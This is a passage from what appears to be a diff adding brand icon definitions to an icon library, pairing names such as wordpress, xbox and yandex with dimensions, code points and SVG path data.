0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z" ], + "wizards-of-the-coast": [ 640, 512, [], "f730", "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z" ], + wodu: [ 640, 512, [], "e088", "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z" ], + "wolf-pack-battalion": [ 512, 512, [], "f514", "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z" ], + wordpress: [ 512, 512, [], "f19a", "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z" ], + "wordpress-simple": [ 512, 512, [], "f411", "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z" ], + wpbeginner: [ 512, 512, [], "f297", "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z" ], + wpexplorer: [ 512, 512, [], "f2de", "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z" ], + wpforms: [ 448, 512, [], "f298", "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z" ], + wpressr: [ 496, 512, [], "f3e4", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z" ], + xbox: [ 512, 512, [], "f412", "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z" ], + xing: [ 384, 512, [], "f168", "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z" ], + "xing-square": [ 448, 512, [], "f169", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z" ], + "y-combinator": [ 448, 512, [], "f23b", "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z" ], + yahoo: [ 512, 512, [], "f19e", "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z" ], + yammer: [ 512, 512, [], "f840", "M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z" ], + yandex: [ 256, 512, [], "f413", "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z" ], + "yandex-international": [ 320, 512, [], "f414", "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z" ], + yarn: [ 496, 512, [], "f7e3", "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 